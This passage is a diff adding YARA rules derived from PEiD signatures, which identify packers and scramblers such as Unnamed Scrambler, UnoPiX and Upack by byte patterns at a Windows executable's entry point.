+        $a = {8C C8 05 ?? ?? 50 B8 ?? ?? 50 B0 ?? 06 8C D2 06 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02323_Unknown_packer__08__
+{
+    meta:
+        description = "[Unknown packer (08)]"
+        ep_only = "true"
+    strings:
+        $a = {8B C4 2D ?? ?? 24 00 8B F8 57 B9 ?? ?? BE ?? ?? F3 A5 FD C3 97 4F 4F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02324_Unknown_Packer____Northfox_
+{
+    meta:
+        description = "[Unknown Packer -> Northfox]"
+        ep_only = "true"
+    strings:
+        $a = {54 59 68 61 7A 79}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02325_Unknown_Protected_Mode_compiler__1__
+{
+    meta:
+        description = "[Unknown Protected Mode compiler (1)]"
+        ep_only = "true"
+    strings:
+        $a = {FA BC ?? ?? 8C C8 8E D8 E8 ?? ?? E8 ?? ?? E8 ?? ?? 66 B8 ?? ?? ?? ?? 66 C1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02326_Unknown_Protected_Mode_compiler__2__
+{
+    meta:
+        description = "[Unknown Protected Mode compiler (2)]"
+        ep_only = "true"
+    strings:
+        $a = {FA FC 0E 1F E8 ?? ?? 8C C0 66 0F B7 C0 66 C1 E0 ?? 66 67 A3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02327_Unknown_UPX_modifyer_
+{
+    meta:
+        description = "[Unknown UPX modifyer]"
+        ep_only = "true"
+    strings:
+        $a = {E8 02 00 00 00 CD 03 5A 81 C2 ?? ?? ?? ?? 81 C2 ?? ?? ?? ?? 89 D1 81 C1 3C 05 00 00 52 81 2A 33 53 45 12 83 C2 04 39 CA 7E F3 89 CA 8B 42 04 8D 18 29 02 BB 78 56 00 00 83 EA 04 3B 14 24 7D EC C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02328_Unnamed_Scrambler_1_0____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.0 -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 33 C0 89 45 ?? ?? ?? ?? 40 00 E8 11 F4 FF FF BE 30 6B 40 00 33 C0 55 68 C9 42 40 00 64 FF 30 64 89 20 E8 C9 FA FF FF BA D8 42 40 00 8B ?? ?? ?? ?? FF FF 8B D8 B8 28 6B 40 00 8B 16 E8 37 F0 FF FF B8 2C 6B 40 00 8B 16 E8 2B F0 FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02329_Unnamed_Scrambler_1_0____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.0 -> p0ke]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 33 C0 89 45 ?? ?? ?? ?? 40 00 E8 11 F4 FF FF BE 30 6B 40 00 33 C0 55 68 C9 42 40 00 64 FF 30 64 89 20 E8 C9 FA FF FF BA D8 42 40 00 8B ?? ?? ?? ?? FF FF 8B D8 B8 28 6B 40 00 8B 16 E8 37 F0 FF FF B8 2C 6B 40 00 8B 16 E8 2B F0 FF FF B8 28 6B 40 00 E8 19 F0 FF FF 8B D0 8B C3 8B 0E E8 42 E3 FF FF BA DC 42 40 00 8B C6 E8 2A FA FF FF 8B D8 B8 20 6B 40 00 8B 16 E8 FC EF FF FF B8 24 6B 40 00 8B 16 E8 F0 EF FF FF B8 20 6B 40 00 E8 DE EF FF FF 8B D0 8B C3 8B 0E E8 07 E3 FF FF 6A 00 6A 19 6A 00 6A 32 A1 28 6B 40 00 E8 59 EF FF FF 83 E8 05 03 C0 8D 55 EC E8 94 FE FF FF 8B 55 EC B9 24 6B 40 00 A1 20 6B 40 00 E8 E2 F6 FF FF 6A 00 6A 19 6A 00 6A 32}
+    condition:
+        $a
+}
+
+rule PEiD_02330_Unnamed_Scrambler_1_1C____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.1C -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 E4 53 56 33 C0 89 45 E4 89 45 E8 89 45 EC B8 C0 47 00 10 E8 4F F3 FF FF BE 5C 67 00 10 33 C0 55 68 D2 4A 00 10 64 FF 30 64 89 20 E8 EB DE FF FF E8 C6 F8 FF FF BA E0 4A 00 10 B8 CC 67 00 10 E8 5F F8 FF FF 8B D8 8B D6 8B C3 8B 0D CC 67 00 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02331_Unnamed_Scrambler_1_1C____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.1C -> p0ke]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 E4 53 56 33 C0 89 45 E4 89 45 E8 89 45 EC B8 C0 47 00 10 E8 4F F3 FF FF BE 5C 67 00 10 33 C0 55 68 D2 4A 00 10 64 FF 30 64 89 20 E8 EB DE FF FF E8 C6 F8 FF FF BA E0 4A 00 10 B8 CC 67 00 10 E8 5F F8 FF FF 8B D8 8B D6 8B C3 8B 0D CC 67 00 10 E8 3A DD FF FF 8B 46 50 8B D0 B8 D4 67 00 10 E8 5B EF FF FF B8 D4 67 00 10 E8 09 EF FF FF 8B D0 8D 46 14 8B 4E 50 E8 14 DD FF FF 8B 46 48 8B D0 B8 D8 67 00 ?? ?? ?? ?? ?? FF B8 D8 67 00 10 E8 E3 EE FF FF 8B D0 8B C6 8B 4E 48 E8 EF DC FF FF FF 76 5C FF 76 58 FF 76 64 FF 76 60 B9 D4 67 00 10 8B 15 D8 67 00 10 A1 D4 67 00 10 E8 76 F6 FF FF A1 D4 67 00 10 E8 5C EE FF FF 8B D0 B8 CC 67 00 10 E8 CC F7 FF FF 8B D8 B8 DC 67 00 10}
+    condition:
+        $a
+}
+
+rule PEiD_02332_Unnamed_Scrambler_1_2B____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.2B -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 D8 53 56 57 33 C0 89 45 D8 89 45 DC 89 45 E0 89 45 E4 89 45 E8 B8 70 3A 40 00 E8 C4 EC FF FF 33 C0 55 68 5C 3F 40 00 64 FF 30 64 89 20 E8 C5 D7 FF FF E8 5C F5 FF FF B8 20 65 40 00 33 C9 BA 04 01 00 00 E8 D3 DB FF FF 68 04 01 00 00 68 20 65}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02333_Unnamed_Scrambler_1_2B____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.2B -> p0ke]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D8 53 56 57 33 C0 89 45 D8 89 45 DC 89 45 E0 89 45 E4 89 45 E8 B8 70 3A 40 00 E8 C4 EC FF FF 33 C0 55 68 5C 3F 40 00 64 FF 30 64 89 20 E8 C5 D7 FF FF E8 5C F5 FF FF B8 20 65 40 00 33 C9 BA 04 01 00 00 E8 D3 DB FF FF 68 04 01 00 00 68 20 65 40 00 6A 00 FF 15 10 55 40 00 BA 6C 3F 40 00 B8 14 55 40 00 E8 5A F4 FF FF 85 C0 0F 84 1B 04 00 00 BA 18 55 40 00 8B 0D 14 55 40 00 E8 16 D7 FF FF 8B 05 88 61 40 00 8B D0 B8 54 62 40 00 E8 D4 E3 FF FF B8 54 62 40 00 E8 F2 E2 FF FF 8B D0 B8 18 55 40 00 8B 0D 88 61 40 00 E8 E8 D6 FF FF FF 35 34 62 40 00 FF 35 30 62 40 00 FF 35 3C 62 40 00 FF 35 38 62 40 00 8D 55 E8 A1 88 61 40 00 E8 E3 F0 FF FF 8B 55 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02334_Unnamed_Scrambler_1_2C___1_2D____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.2C / 1.2D -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 05 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? 3A ?? ?? E8 ?? EC FF FF 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 E8 ?? D7 FF FF E8 ?? ?? FF FF B8 20 ?? ?? ?? 33 C9 BA 04 01 00 00 E8 ?? DB FF FF 68 04 01 00 00 68 20 ?? ?? ?? 6A 00 FF 15 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02335_Unnamed_Scrambler_1_2C___1_2D____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.2C / 1.2D -> p0ke]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC B9 05 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? 3A ?? ?? E8 ?? EC FF FF 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 E8 ?? D7 FF FF E8 ?? ?? FF FF B8 20 ?? ?? ?? 33 C9 BA 04 01 00 00 E8 ?? DB FF FF 68 04 01 00 00 68 20 ?? ?? ?? 6A 00 FF 15 10 ?? ?? ?? BA ?? ?? ?? ?? B8 14 ?? ?? ?? E8 ?? ?? FF FF 85 C0 0F 84 ?? 04 00 00 BA 18 ?? ?? ?? 8B 0D 14 ?? ?? ?? E8 ?? ?? FF FF 8B 05 88 ?? ?? ?? 8B D0 B8 54 ?? ?? ?? E8 ?? E3 FF FF B8 54 ?? ?? ?? E8 ?? E2 FF FF 8B D0 B8 18 ?? ?? ?? 8B 0D 88 ?? ?? ?? E8 ?? D6 FF FF FF 35 34 ?? ?? ?? FF 35 30 ?? ?? ?? FF 35 3C ?? ?? ?? FF 35 38 ?? ?? ?? 8D 55 E8 A1 88 ?? ?? ?? E8 ?? F0 FF FF 8B 55 E8 B9 54}
+    condition:
+        $a
+}
+rule PEiD_02336_Unnamed_Scrambler_1_3B____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.3B -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 08 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 98 56 00 10 E8 48 EB FF FF 33 C0 55 68 AC 5D 00 10 64 FF 30 64 89 20 6A 00 68 BC 5D 00 10 68 C4 5D 00 10 6A 00 E8 23 EC FF FF E8 C6 CE FF FF 6A 00 68 BC 5D 00 10 68 ?? ?? ?? ?? 6A 00 E8 0B EC FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02337_Unnamed_Scrambler_1_3B____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.3B -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 08 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 98 56 00 10 E8 48 EB FF FF 33 C0 55 68 AC 5D 00 10 64 FF 30 64 89 20 6A 00 68 BC 5D 00 10 68 C4 5D 00 10 6A 00 E8 23 EC FF FF E8 C6 CE FF FF 6A 00 68 BC 5D 00 10 68 ?? ?? ?? ?? 6A 00 E8 0B EC FF FF E8 F2 F4 FF FF B8 08 BC 00 10 33 C9 BA 04 01 00 00 E8 C1 D2 FF FF 6A 00 68 BC 5D 00 10 68 E4 5D 00 10 6A 00 E8 E2 EB FF FF 68 04 01 00 00 68 08 BC 00 10 6A 00 FF 15 68 77 00 10 6A 00 68 BC 5D 00 10 68 FC 5D 00 10 6A 00 E8 BD EB FF FF BA 10 5E 00 10 B8 70 77 00 10 E8 CA F3 FF FF 85 C0 0F 84 F7 05 00 00 BA 74 77 00 10 8B 0D 70 77 00 10 E8 FE CD FF FF 6A 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02338_Unnamed_Scrambler_2_0____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.0 -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 0A 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 1C 2F 40 00 E8 C8 F1 FF FF 33 C0 55 68 FB 33 40 00 64 FF 30 64 89 20 BA 0C 34 40 00 B8 E4 54 40 00 E8 EF FE FF FF 8B D8 85 DB 75 07 6A 00 E8 5A F2 FF FF BA E8 54 40 00 8B C3 8B 0D E4 54 40 00 E8 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02339_Unnamed_Scrambler_2_0____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.0 -> p0ke]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC B9 0A 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 1C 2F 40 00 E8 C8 F1 FF FF 33 C0 55 68 FB 33 40 00 64 FF 30 64 89 20 BA 0C 34 40 00 B8 E4 54 40 00 E8 EF FE FF FF 8B D8 85 DB 75 07 6A 00 E8 5A F2 FF FF BA E8 54 40 00 8B C3 8B 0D E4 54 40 00 E8 74 E2 FF FF C7 05 20 6B 40 00 09 00 00 00 BB 98 69 40 00 C7 45 EC E8 54 40 00 C7 45 E8 31 57 40 00 C7 45 E4 43 60 40 00 BE D3 6A 40 00 BF E0 6A 40 00 83 7B 04 00 75 0B 83 3B 00 0F 86 AA 03 00 00 EB 06 0F 8E A2 03 00 00 8B 03 8B D0 B8 0C 6B 40 00 E8 C1 EE FF FF B8 0C 6B 40 00 E8 6F EE FF FF 8B D0 8B 45 EC 8B 0B E8 0B E2 FF FF 6A 00 6A 1E 6A 00 6A 2C A1 0C 6B 40 00 E8 25 ED FF FF 8D 55 E0 E8 15 FE FF FF 8B 55 E0 B9 10 6B 40 00 A1 0C 6B 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_02340_Unnamed_Scrambler_2_1_Beta____2_1_1____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.1(Beta) / 2.1.1 -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 15 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? 3A ?? ?? E8 ?? EE FF FF 33 C0 55 68 ?? 43 ?? ?? 64 FF 30 64 89 20 BA ?? 43 ?? ?? B8 E4 64 ?? ?? E8 0F FD FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? EE FF FF BA E8 64 ?? ?? 8B C3 8B 0D E4 64 ?? ?? E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02341_Unnamed_Scrambler_2_1_Beta____2_1_1____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.1(Beta) / 2.1.1 -> p0ke]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC B9 15 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? 3A ?? ?? E8 ?? EE FF FF 33 C0 55 68 ?? 43 ?? ?? 64 FF 30 64 89 20 BA ?? 43 ?? ?? B8 E4 64 ?? ?? E8 0F FD FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? EE FF FF BA E8 64 ?? ?? 8B C3 8B 0D E4 64 ?? ?? E8 ?? D7 FF FF B8 F8 ?? ?? ?? BA 04 00 00 00 E8 ?? EF FF FF 33 C0 A3 F8 ?? ?? ?? BB ?? ?? ?? ?? C7 45 EC E8 64 ?? ?? C7 45 E8 ?? ?? ?? ?? C7 45 E4 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? B8 E0 ?? ?? ?? BA 04 00 00 00 E8 ?? EF FF FF 68 F4 01 00 00 E8 ?? EE FF FF 83 7B 04 00 75 0B 83 3B 00 0F 86 ?? 07 00 00 EB 06 0F 8E ?? 07 00 00 8B 03 8B D0 B8 E4 ?? ?? ?? E8 ?? E5 FF FF B8 E4 ?? ?? ?? E8 ?? E3 FF FF 8B D0 8B 45 EC 8B 0B E8}
+    condition:
+        $a
+}
+
+rule PEiD_02342_Unnamed_Scrambler_2_5_1_Beta_2____2_5_2____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.5.1(Beta 2) / 2.5.2 -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 ?? 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? ?? 40 00 E8 ?? EA FF FF 33 C0 55 68 ?? ?? 40 00 64 FF 30 64 89 20 BA ?? ?? 40 00 B8 ?? ?? 40 00 E8 63 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? ?? FF FF BA ?? ?? 40 00 8B C3 8B 0D ?? ?? 40 00 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02343_Unnamed_Scrambler_2_5_1_Beta_2____2_5_2____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.5.1(Beta 2) / 2.5.2 -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 ?? 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? ?? 40 00 E8 ?? EA FF FF 33 C0 55 68 ?? ?? 40 00 64 FF 30 64 89 20 BA ?? ?? 40 00 B8 ?? ?? 40 00 E8 63 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? ?? FF FF BA ?? ?? 40 00 8B C3 8B 0D ?? ?? 40 00 E8 ?? ?? FF FF C7 05 ?? ?? 40 00 0A 00 00 00 BB ?? ?? 40 00 BE ?? ?? 40 00 BF ?? ?? 40 00 B8 ?? ?? 40 00 BA 04 00 00 00 E8 ?? EB FF FF 83 3B 00 74 04 33 C0 89 03 8B D7 8B C6 E8 0A F3 FF FF 89 03 83 3B 00 0F 84 F7 04 00 00 B8 ?? ?? 40 00 8B 16 E8 ?? E1 FF FF B8 ?? ?? 40 00 E8 ?? E0 FF FF 8B D0 8B 03 8B 0E E8 ?? ?? FF FF 8B C7 A3 ?? ?? 40 00 8D 55 EC 33 C0 E8 ?? D3 FF FF 8B 45 EC B9 ?? ?? 40 00 BA ?? ?? 40 00 E8 8B ED FF FF 3C 01 75 2B A1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02344_Unnamed_Scrambler_2_5A____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.5A -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 0B 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 6C 3E 40 00 E8 F7 EA FF FF 33 C0 55 68 60 44 40 00 64 FF 30 64 89 20 BA 70 44 40 00 B8 B8 6C 40 00 E8 62 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 A1 EB FF FF BA E8 64 40 00 8B C3 8B 0D B8 6C 40 00 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02345_Unnamed_Scrambler_2_5A____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.5A -> p0ke]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC B9 0B 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 6C 3E 40 00 E8 F7 EA FF FF 33 C0 55 68 60 44 40 00 64 FF 30 64 89 20 BA 70 44 40 00 B8 B8 6C 40 00 E8 62 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 A1 EB FF FF BA E8 64 40 00 8B C3 8B 0D B8 6C 40 00 E8 37 D3 FF FF C7 05 BC 6C 40 00 0A 00 00 00 BB 68 6C 40 00 BE 90 6C 40 00 BF E8 64 40 00 B8 C0 6C 40 00 BA 04 00 00 00 E8 07 EC FF FF 83 3B 00 74 04 33 C0 89 03 8B D7 8B C6 E8 09 F3 FF FF 89 03 83 3B 00 0F 84 BB 04 00 00 B8 C0 6C 40 00 8B 16 E8 06 E2 FF FF B8 C0 6C 40 00 E8 24 E1 FF FF 8B D0 8B 03 8B 0E E8 D1 D2 FF FF 8B C7 A3 20 6E 40 00 8D 55 EC 33 C0 E8 0C D4 FF FF 8B 45 EC B9 1C 6E 40 00 BA 18 6E 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_02346_UnoPiX_0_75____BaGiE_
+{
+    meta:
+        description = "[UnoPiX 0.75 -> BaGiE]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 07 00 00 00 61 68 ?? ?? 40 00 C3 83 04 24 18 C3 20 83 B8 ED 20 37 EF C6 B9 79 37 9E 61}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02347_UnoPiX_1_03_1_10____BaGiE_
+{
+    meta:
+        description = "[UnoPiX 1.03-1.10 -> BaGiE]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 04 C7 04 24 00 ?? ?? ?? C3 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 ?? ?? 00 00 10 00 00 00 00 00 00 02 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02348_Unpacked_BS_SFX_Archive_v1_9_
+{
+    meta:
+        description = "[Unpacked BS-SFX Archive v1.9]"
+        ep_only = "true"
+    strings:
+        $a = {1E 33 C0 50 B8 ?? ?? 8E D8 FA 8E D0 BC ?? ?? FB B8 ?? ?? CD 21 3C 03 73}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02349_UPack_0_11_
+{
+    meta:
+        description = "[UPack 0.11]"
+        ep_only = "false"
+    strings:
+        $a = {BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 1C F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 03 B3 00 8D 1C 5B 8D 9C 9E 0C 10 00 00 B0 01 67 E3 29 8B D7}
+    condition:
+        $a
+}
+
+rule PEiD_02350_Upack_0_12_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.12 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE 48 01 40 00 AD ?? ?? ?? A5 ?? C0 33 C9 ?? ?? ?? ?? ?? ?? ?? F3 AB ?? ?? 0A ?? ?? ?? ?? AD 50 97 51 ?? 87 F5 58 8D 54 86 5C ?? D5 72 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B6 5F FF C1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02351_Upack_0_1x_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.1x beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02352_Upack_0_20_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.20 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE 88 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02353_Upack_0_21_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.21 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE 88 01 40 00 AD 8B F8 6A 04 95 A5 33 C0 AB 48 AB F7 D8 59 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02354_Upack_0_22___0_23_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.22 - 0.23 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 59 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02355_Upack_0_22___0_23_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.22 - 0.23 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? ?? AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 ?? 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02356_Upack_0_22___0_23_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.22 - 0.23 beta -> Dwing]"
+        ep_only = "false"
+    strings:
+        $a = {6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54}
+    condition:
+        $a
+}
+
+rule PEiD_02357_Upack_0_24_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.24 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE 88 01 40 00 AD 8B F8 95 AD 91 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02358_Upack_0_28___0_399__relocated_image_base___Delphi___NET__DLL_or_something_else____Dwing__h__
+{
+    meta:
+        description = "[Upack 0.28 - 0.399 (relocated image base - Delphi, .NET, DLL or something else -> Dwing (h)]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD 03 C3 50 97 AD 91 F3 A5 5E AD 56 91 01 1E AD E2 FB AD 8D 6E 10 01 5D 00 8D 7D 1C B5 ?? F3 AB 5E AD 53 50 51 97 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72}
+    condition:
+        $a
+}
+
+rule PEiD_02359_Upack_0_36_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.36 beta -> Dwing]"
+        ep_only = "false"
+    strings:
+        $a = {BE E0 11 ?? ?? FF 36 E9 C3 00 00 00 48 01 ?? ?? 0B 01 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C}
+    condition:
+        $a
+}
+
+rule PEiD_02360_Upack_0_37_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.37 beta -> Dwing]"
+        ep_only = "false"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 37 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02361_Upack_0_38_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.38 beta -> Dwing]"
+        ep_only = "false"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 38 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02362_Upack_0_399____Dwing_
+{
+    meta:
+        description = "[Upack 0.399 -> Dwing]"
+        ep_only = "false"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02363_UPack_Alt_Stub____Dwing_
+{
+    meta:
+        description = "[UPack Alt Stub -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 09 00 00 00 C3 F6 00 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02364_Upack_v0_10___v0_12Beta____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.10 - v0.12Beta -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {BE 48 01 ?? ?? ?? ?? ?? 95 A5 33 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02365_Upack_V0_10_V0_11____Dwing___Sign_by_fly_
+{
+    meta:
+        description = "[Upack V0.10-V0.11 -> Dwing ! Sign by fly]"
+        ep_only = "true"
+    strings:
